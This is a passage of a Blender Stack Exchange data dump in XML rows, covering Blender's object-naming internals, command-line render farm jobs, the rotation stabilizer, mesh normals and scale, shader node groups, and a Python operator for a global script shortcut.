  <row Id="34712" PostTypeId="2" ParentId="34653" CreationDate="2015-07-28T21:55:10.553" Score="5" Body="&lt;p&gt;I followed the code from &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_75_release/bpy.types.BlendDataObjects.html?highlight=objects.new#bpy.types.BlendDataObjects.new&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;bpy.data.objects.new&lt;/code&gt;&lt;/a&gt; and will put this here.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Call Hierarchy&lt;/h1&gt;&#xA;&#xA;&lt;pre class=&quot;lang-c prettyprint-override&quot;&gt;&lt;code&gt;rna_Main_objects_new               /* called by python - bpy.data.objects.new */&#xA;    BKE_object_add_only_object     /* set default values for the object */&#xA;        BKE_libblock_alloc         /* allocate memory for the object */&#xA;            new_id                 /* name validation - fallback, not \0, utf8 */&#xA;                check_for_dupid    /* check for collisions and find new name*/&#xA;                    is_dupid       /* linear search for duplicate name */&#xA;                id_sort_by_name    /* sort list */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;Links&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://git.blender.org/gitweb/gitweb.cgi/blender.git/blob/HEAD:/source/blender/makesrna/intern/rna_main_api.c#l171&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;rna_Main_objects_new&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://git.blender.org/gitweb/gitweb.cgi/blender.git/blob/HEAD:/source/blender/blenkernel/intern/object.c#l973&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;BKE_object_add_only_object&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://git.blender.org/gitweb/gitweb.cgi/blender.git/blob/HEAD:/source/blender/blenkernel/intern/library.c#l764&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;BKE_libblock_alloc&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://git.blender.org/gitweb/gitweb.cgi/blender.git/blob/HEAD:/source/blender/blenkernel/intern/library.c#l1352&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;new_id&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://git.blender.org/gitweb/gitweb.cgi/blender.git/blob/HEAD:/source/blender/blenkernel/intern/library.c#l1238&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;check_for_dupid&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://git.blender.org/gitweb/gitweb.cgi/blender.git/blob/HEAD:/source/blender/blenkernel/intern/library.c#l1182&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;id_sort_by_name&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Condensed body of &lt;code&gt;new_id&lt;/code&gt;&lt;/h1&gt;&#xA;&#xA;&lt;pre class=&quot;lang-c prettyprint-override&quot;&gt;&lt;code&gt;bool new_id(ListBase *lb, ID *id, const char *tname)&#xA;{&#xA;    bool result;&#xA;    char name[MAX_ID_NAME - 2];&#xA;&#xA;    BLI_strncpy(name, tname, sizeof(name));&#xA;&#xA;    result = check_for_dupid(lb, id, name);&#xA;    strcpy(id-&amp;gt;name + 2, name);&#xA;&#xA;    /* however all data in blender should be sorted, not just duplicate names&#xA;     * sorting should not hurt, but noting just incase it alters the way other&#xA;     * functions work, so sort every time */&#xA;&#xA;    id_sort_by_name(lb, id);&#xA;&#xA;    return result;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;Body of &lt;code&gt;is_dupid&lt;/code&gt; called in &lt;code&gt;check_for_dupid&lt;/code&gt;&lt;/h1&gt;&#xA;&#xA;&lt;pre class=&quot;lang-c prettyprint-override&quot;&gt;&lt;code&gt;static ID *is_dupid(ListBase *lb, ID *id, const char *name)&#xA;{&#xA;    ID *idtest = NULL;&#xA;&#xA;    for (idtest = lb-&amp;gt;first; idtest; idtest = idtest-&amp;gt;next) {&#xA;        /* if idtest is not a lib */ &#xA;        if (id != idtest &amp;amp;&amp;amp; idtest-&amp;gt;lib == NULL) {&#xA;            /* do not test alphabetic! */&#xA;            /* optimized */&#xA;            if (idtest-&amp;gt;name[2] == name[0]) {&#xA;                /* STREQ - macro for strcmp */&#xA;                if (STREQ(name, idtest-&amp;gt;name + 2)) break;&#xA;            }&#xA;        }&#xA;    }&#xA;&#xA;    return idtest;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;Body of &lt;code&gt;id_sort_by_name&lt;/code&gt;&lt;/h1&gt;&#xA;&#xA;&lt;pre class=&quot;lang-c prettyprint-override&quot;&gt;&lt;code&gt;void id_sort_by_name(ListBase *lb, ID *id)&#xA;{&#xA;    ID *idtest;&#xA;&#xA;    /* insert alphabetically */&#xA;    if (lb-&amp;gt;first != lb-&amp;gt;last) {&#xA;        BLI_remlink(lb, id);&#xA;&#xA;        idtest = lb-&amp;gt;first;&#xA;        while (idtest) {&#xA;            if (BLI_strcasecmp(idtest-&amp;gt;name, id-&amp;gt;name) &amp;gt; 0 || &#xA;               (idtest-&amp;gt;lib &amp;amp;&amp;amp; !id-&amp;gt;lib)) {&#xA;                BLI_insertlinkbefore(lb, idtest, id);&#xA;                break;&#xA;            }&#xA;            idtest = idtest-&amp;gt;next;&#xA;        }&#xA;        /* as last */&#xA;        if (idtest == NULL) {&#xA;            BLI_addtail(lb, id);&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So indeed blender checks for duplicates and furthermore removes the id from the list again and inserts it alphabetically. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can't even trick it by choosing names in the right order &lt;code&gt;C&lt;/code&gt;, &lt;code&gt;B&lt;/code&gt;, &lt;code&gt;A&lt;/code&gt; because &lt;code&gt;is_dupid&lt;/code&gt; will search the full list regardless. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though if you specify a non colliding name it exits &lt;code&gt;check_for_dupid&lt;/code&gt; early and does not have to find a name on its own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally as others have mentioned you should &lt;a href=&quot;https://blender.stackexchange.com/a/7360/2271&quot;&gt;not use operators&lt;/a&gt; unless you have to and only need to create the mesh once.&lt;/p&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-07-28T22:21:23.717" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34713" PostTypeId="2" ParentId="34697" CreationDate="2015-07-28T22:09:16.800" Score="1" Body="&lt;p&gt;Ok, here's my first draft of an answer. I'll revise it as we talk this out more. If this seems to be going in the right direction, I can add further coding samples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The key to being able to distribute your render jobs between many render nodes is being able to easily tell the render node what scenes to render. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, from what you've described you would have to add some sort of input argument value to tell the script what scene to load and then render out one frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think if you could modify your script to run on a per frame basis, then map the frame number to scene number, that would make it easier to distribute the job to many machines without having to worry about input values for the scene number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the file arrangement would be:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;GenScene.blend file&lt;/strong&gt; blank file ready for scene setup&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Startup python script (&quot;GenSceneFrame.py&quot;)&lt;/strong&gt; would be run once for every frame of the animation. Let's assume we have 100 scene's to render, we'll set the animation range to 1-100&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;SceneData.csv&lt;/strong&gt; file that contains object setup data for each scene&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These 3 files would be packaged together in one folder (or with subfolders if you want but you'd have to be vigilant about paths).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would have initate the render job from the command line so that you can get it run the python script on startup which is where the frame handler will be created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender -b GenScene.blend -s 1 -e 100 -a -P GenSceneFrame.py&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let's say for convenience sake that you're going to use a commercial render farm service. They would need to be able to launch your render job with the ability to pipe in the startup python script reference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would upload the folder as a Zip file, set the render job for frames 1-100. Then the animation job would be distributed between however many render nodes the service uses, or however many you opt to pay for. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each frame render runs the internal script and sets up the scene for the current frame number and renders out one frame image. At the end of the job you should have 100 rendered images, one for each scene.&lt;/p&gt;&#xA;" OwnerUserId="894" LastEditorUserId="894" LastEditDate="2015-07-28T22:21:35.957" LastActivityDate="2015-07-28T22:21:35.957" CommentCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="34714" PostTypeId="1" CreationDate="2015-07-28T23:06:23.850" Score="3" ViewCount="276" Body="&lt;p&gt;When using the rotation stabilizer of a movie clip, we select 2 markers on the horizon e.g. and the angle will get adjusted to keep this line horizontal. Fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now, let's say that my 2 reference points are not horizontal but draw a diagonal in the footage (one on the top right, one of the bottom left). How can I apply a sort of angle-offset to the rotation stabilizer so that I end up with my footage straight and not 45 degree!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course we could apply a rotation afterward but we would loose some serious quality needlessly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An approach I thought about was to move the entire track of one of the markers so that it is at the Y level of the other, but in the graph we cannot select only one axis (unless we select the thousands of points one by one...) &quot;a&quot; will select both X and Y. A way to do that would have been to use the offset since the beginning of the tracking, but it took me an entire day to build my markers tracks mostly manually so I can't start all over now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="15965" LastActivityDate="2015-07-29T00:03:24.560" Title="Adjust the reference angle of the 2D rotation stabilizer" Tags="&lt;tracking&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34715" PostTypeId="2" ParentId="34711" CreationDate="2015-07-28T23:13:02.670" Score="2" Body="&lt;h2&gt;Apply scale and recalculate Normals&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The selected object has a negative scale. Despite you see it light grey in the viewport, the faces are indeed flipped for the modifiers, as the object transformations are runned after them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kvU57.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kvU57.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest to &lt;strong&gt;apply the scale&lt;/strong&gt; in Object mode (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt;), than go to edit mode and &lt;strong&gt;recalculate normals&lt;/strong&gt; (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qgvLe.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qgvLe.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/hvcCo.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hvcCo.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/al9mKm.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/al9mKm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice that the same result can be achieved by simply give to the X scale a positive value, but to avoid misbehavior in future operations is better to fix the scale once for all:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zIExN.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zIExN.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="15140" LastEditDate="2016-01-07T03:10:11.883" LastActivityDate="2016-01-07T03:10:11.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34716" PostTypeId="2" ParentId="33992" CreationDate="2015-07-28T23:56:04.317" Score="2" Body="&lt;h2&gt;Upper mesh has intersecting faces&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bzpxL.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bzpxL.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1orHT.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1orHT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By solving the intersection with a remodeling, and after triangulating the lower mesh, you should obtain a similar result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bk8z0.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bk8z0.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gFjcL.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gFjcL.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastActivityDate="2015-07-28T23:56:04.317" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34717" PostTypeId="1" CreationDate="2015-07-29T00:03:04.690" Score="3" ViewCount="2286" Body="&lt;p&gt;I'd like to use Blender's physics engine/rendering capabilities headlessly (so it would have to be via command line). I'd like to run a lot of little physics experiments (thousands) on a server. Python scripting will be involved in this, naturally-not sure how to do this without using the logic editor, though...I need some way to be able to run these scripts and have Blender output some sort of physics &quot;movie&quot; without having to deal with the GUI. Is this possible? &lt;/p&gt;&#xA;" OwnerUserId="15734" LastActivityDate="2019-01-26T04:36:10.300" Title="Run blender without GUI?" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;blender-internal-render-engine&gt;&lt;physics&gt;" AnswerCount="1" CommentCount="7" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34718" PostTypeId="2" ParentId="34714" CreationDate="2015-07-29T00:03:24.560" Score="1" Body="&lt;p&gt;Ok I answer my own question :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reference angle of the rotation stabilizer is based on the angle of the points at frame 0 of the footage, regardless of the Start/End of the project. This angle will be the reference to maintain for the rest of the footage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, to adjust the offset angle of the stabilizer, simply put the marker used for rotation at a different location at frame 0 only, then keep the rest of the track and go observe the results in the middle of your footage.&lt;/p&gt;&#xA;" OwnerUserId="15965" LastActivityDate="2015-07-29T00:03:24.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34719" PostTypeId="2" ParentId="34702" CreationDate="2015-07-29T00:08:37.633" Score="1" Body="&lt;h2&gt;Check object scale.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Modifiers are applied before object trasformations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your object has a non-unform scale, the bevel width, which has the same value in all direction, appears to have a non-uniform scale too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See this cube with X scale = 5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PHqy4.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PHqy4.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And see the same cube with the same modifier but with a uniform scale:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OAATJ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OAATJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastActivityDate="2015-07-29T00:08:37.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34721" PostTypeId="1" CreationDate="2015-07-29T03:08:58.900" Score="1" ViewCount="29" Body="&lt;p&gt;I'm a little new to Blender and I only have very basic experience with the game engine.  One thing I noticed is that some models look way different in game than in the editor window. For example,&#xA;&lt;a href=&quot;https://i.stack.imgur.com/zD5ve.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zD5ve.png&quot; alt=&quot;Sonic look&amp;#39;s way different in-game&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This doesn't happen on all models, just some of them. This model was created by Sega, so I wouldn't think there would be any errors with it. Does anybody know what's going on here?&lt;/p&gt;&#xA;" OwnerUserId="15986" LastActivityDate="2015-07-29T03:08:58.900" Title="Model looks different in game engine" Tags="&lt;modeling&gt;&lt;texturing&gt;&lt;game-engine&gt;&lt;3d-view&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2015-07-29T04:06:11.683" ContentLicense="CC BY-SA 3.0" />
  <row Id="34722" PostTypeId="1" AcceptedAnswerId="34726" CreationDate="2015-07-29T05:11:26.360" Score="6" ViewCount="2948" Body="&lt;p&gt;How do I create a global keyboard shortcut that executes the script currently in the text editor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I say global because I would like to be working in the default 3D View (no text editor displayed) and simply press a key to execute the script.  This would avoid me needing to change to the script layout, run the script, return to 3d View every time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;P&lt;/kbd&gt; only seems to work when the text editor is focused.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In User preferences-&gt;Input, I tried adding a new &quot;Run Script&quot; event ('text.run_script') to the Window (Global) section and assigned it a key, but the console reports 'event has invalid window'.&lt;/p&gt;&#xA;" OwnerUserId="15949" LastEditorUserId="599" LastEditDate="2015-07-29T07:00:28.990" LastActivityDate="2015-07-29T08:05:46.740" Title="Global keyboard shortcut to execute text editor script" Tags="&lt;scripting&gt;&lt;shortcut&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34723" PostTypeId="1" CreationDate="2015-07-29T05:21:43.943" Score="2" ViewCount="380" Body="&lt;p&gt;I'm following the &lt;a href=&quot;https://en.wikibooks.org/wiki/Blender_3D:_Noob_to_Pro/Halo_Materials&quot; rel=&quot;nofollow noreferrer&quot;&gt;Noob to Pro: Halo Materials tutorial&lt;/a&gt; and failing to get a lens flare effect that is displayed in the tutorial.&lt;/p&gt;&#xA;&lt;p&gt;Compare the before image with the after image&lt;br /&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/JaT01.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JaT01.png&quot; alt=&quot;before image&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/It8L6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/It8L6.png&quot; alt=&quot;after image&quot; /&gt;&lt;/a&gt;. There's no difference. The lens flare isn't being created and I've tried dozens of positions and fiddled pretty much every setting on the halo, removed the sun, added/removed lights, etc. I've gone to factory settings and re-done everything from scratch a couple of times now.&lt;/p&gt;&#xA;&lt;p&gt;My computer is an Acer Aspire E1, I'm using Linux Mint 15, and have Intel's proprietary graphics installed. This is being attempted on blender version 2.75.&lt;/p&gt;&#xA;&lt;h3&gt;&lt;a href=&quot;http://www.pasteall.org/blend/37342&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blend File&lt;/a&gt;&lt;/h3&gt;&#xA;" OwnerUserId="15987" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-09-20T00:24:05.907" Title="Halo-created lens flares aren't rendering" Tags="&lt;materials&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="0" CommentCount="4" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34724" PostTypeId="1" AcceptedAnswerId="34725" CreationDate="2015-07-29T06:18:39.160" Score="1" ViewCount="997" Body="&lt;p&gt;I have a project where I reuse the same material for multiple things.&#xA;So, I use node groups; saves a lot of trouble - at first!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Up to this problem I have with node groups:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;a href=&quot;https://i.stack.imgur.com/cSxo6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;1&lt;/a&gt; you can see, that the logo (white text) is on a black background. This black background should be a node group (and certainly not black).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cSxo6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cSxo6.png&quot; alt=&quot;The black should be colored (or a material from a node group)&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the Logo Overlay node group:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/c8kPy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/c8kPy.png&quot; alt=&quot;Logo Overlay Node Group&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I put the node group &quot;ultramarinblau&quot; into the Logo Overlay node group, it does not work!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only if I add the &quot;ultramarinblau&quot;-node group directly into the Logo Overlay node group, &lt;strong&gt;it works&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6QnAm.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6QnAm.jpg&quot; alt=&quot;Logo Overlay Node Group with Node Group included&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This behavior is not desired. I'd like to reuse my Logo Overlay node group multiple times with a different node group-input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong? Or could this be a limitation of Cycles node groups?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas are appreciated!&lt;/p&gt;&#xA;" OwnerUserId="5308" LastEditorUserId="599" LastEditDate="2015-07-29T06:52:11.797" LastActivityDate="2015-07-29T06:52:11.797" Title="Shader turns black when connected to node group" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34725" PostTypeId="2" ParentId="34724" CreationDate="2015-07-29T06:31:17.827" Score="2" Body="&lt;p&gt;This is because you are plugging a &lt;em&gt;Shader&lt;/em&gt; output (green) into a color input (yellow). See &lt;a href=&quot;https://blender.stackexchange.com/q/33915/599&quot;&gt;What is the meaning of the color of the node sockets in the node editor?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead you should add a shader input (green) to the &quot;Logo Overlay&quot; group. Doing this is a little complicated, as you currently can't directly set the socket type without &lt;a href=&quot;https://blender.stackexchange.com/q/5459/599&quot;&gt;some python&lt;/a&gt;. However, it is possible:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Enter the node group (&lt;kbd&gt;&amp;#8633; Tab&lt;/kbd&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Plug the placeholder output of the &lt;em&gt;Group Input&lt;/em&gt; node (hollow) into any input socket of the desired type. In this case, green for shader:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/a9Gkd.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/a9Gkd.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Optionally rename the new input in the properties panel (&lt;kbd&gt;N&lt;/kbd&gt;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Once this is done, your setup should work.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I don't recommend putting the material output node inside a node group, as this could lead to confusion down the road depending on how the group is used. Instead you might want to plug the mix shader into a&lt;/em&gt; Group Output &lt;em&gt;node, and plug the entire group node into the material output in the main node tree.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2015-07-29T06:50:47.937" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34726" PostTypeId="2" ParentId="34722" CreationDate="2015-07-29T06:51:16.903" Score="5" Body="&lt;p&gt;If you are only going to re-executing this script when 3D View is open you might add the shortcut to 3D View (global). I propose a different shortcut as &lt;kbd&gt;alt&lt;/kbd&gt;+&lt;kbd&gt;p&lt;/kbd&gt; is for showing the 'clear parent' menu, but it's up to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dCnr9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dCnr9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the end of this list..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nErpw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nErpw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;generic_executor.py&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# something to test with..&#xA;import bpy&#xA;import random&#xA;&#xA;x = random.randint(-6, 6)&#xA;y = random.randint(-6, 6)&#xA;z = random.randint(-6, 6)&#xA;&#xA;bpy.ops.mesh.primitive_cube_add(radius=1, location=(x, y, z))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;operator.py&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;&#xA;class GlobalScriptRunner(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Tooltip&quot;&quot;&quot;&#xA;    bl_idname = &quot;view3d.global_script_runner&quot;&#xA;    bl_label = &quot;Global Script Runner&quot;&#xA;&#xA;    #@classmethod&#xA;    #def poll(cls, context):&#xA;    #    return context.active_object is not None&#xA;&#xA;    def execute(self, context):&#xA;        print('i get called')&#xA;        textblock_name = 'generic_executor.py'&#xA;        textblock_as_string = bpy.data.texts[textblock_name].as_string()&#xA;        exec(textblock_as_string)&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(GlobalScriptRunner)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(GlobalScriptRunner)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To wrap this into a reusable add-on requires more time than I have, but it's not the purpose of this answer. The benefit of having this as an addon would be that you could create a panel for 3dview in which you can type or select a textblock to be executed when the shortcut is triggered, rather than this hard coded suggestion, where it only executes a textblock named 